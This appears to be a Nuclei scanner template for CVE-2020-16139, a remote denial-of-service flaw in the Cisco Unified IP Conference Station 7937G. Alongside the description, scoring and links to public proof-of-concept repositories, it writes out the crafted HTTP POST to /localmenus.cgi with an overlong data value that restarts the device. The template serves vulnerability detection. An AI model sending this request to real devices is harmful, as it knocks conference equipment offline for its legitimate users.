52 lines
2.3 KiB
YAML
52 lines
2.3 KiB
YAML
id: CVE-2020-16139
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info:
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name: Cisco Unified IP Conference Station 7937G - Denial-of-Service
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author: pikpikcu
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severity: high
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description: |
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Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.
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impact: |
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An attacker can exploit this vulnerability to disrupt the functionality of the conference station, leading to a denial of service for legitimate users.
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remediation: |
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Apply the latest firmware update provided by Cisco to mitigate this vulnerability.
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reference:
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- http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html
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- https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-16139
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- https://github.com/anonymous364872/Rapier_Tool
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- https://github.com/blacklanternsecurity/Cisco-7937G-PoCs
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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cvss-score: 7.5
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cve-id: CVE-2020-16139
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epss-score: 0.06015
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epss-percentile: 0.93331
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cpe: cpe:2.3:o:cisco:unified_ip_conference_station_7937g_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: cisco
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product: unified_ip_conference_station_7937g_firmware
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tags: cve,cve2020,dos,cisco,packetstorm
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http:
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- raw:
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- |
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POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "application/xml"
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- type: word
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words:
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- 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
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- type: status
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status:
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- 200
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# digest: 490a004630440220159a501f6273ac0121f121b697bdc653c01a5330a5b0fe9fe2ccfa30a638147e022056695f2f7cd28cc34e9a3e87f3d7395878fbebdbc29b626b1b9f94c57c874c78:922c64590222798bb761d5b6d8e72950 |